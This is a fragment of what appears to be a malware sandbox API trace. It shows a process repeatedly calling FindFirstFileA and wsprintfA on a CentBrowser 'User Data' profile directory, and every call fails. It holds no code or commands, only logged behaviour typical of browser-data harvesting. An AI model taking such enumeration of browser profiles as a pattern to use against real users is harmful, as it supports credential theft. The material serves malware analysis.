[0052.832] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.832] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.832] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.832] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.832] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.832] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.832] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.832] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.832] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.832] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.832] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.833] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.833] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.833] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.833] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.833] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.833] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.833] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.833] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.833] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.833] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.833] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.833] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.833] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.833] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.833] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.833] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.833] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.833] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.834] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.834] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.834] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.834] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.834] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.834] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.834] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.834] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.834] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.834] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.834] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.834] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.834] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.834] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.834] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.834] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.834] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.835] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.835] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.835] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.835] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.835] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.835] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.835] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.835] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.835] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.835] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
[0052.835] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\centbrowser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.835] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*.*") returned 62
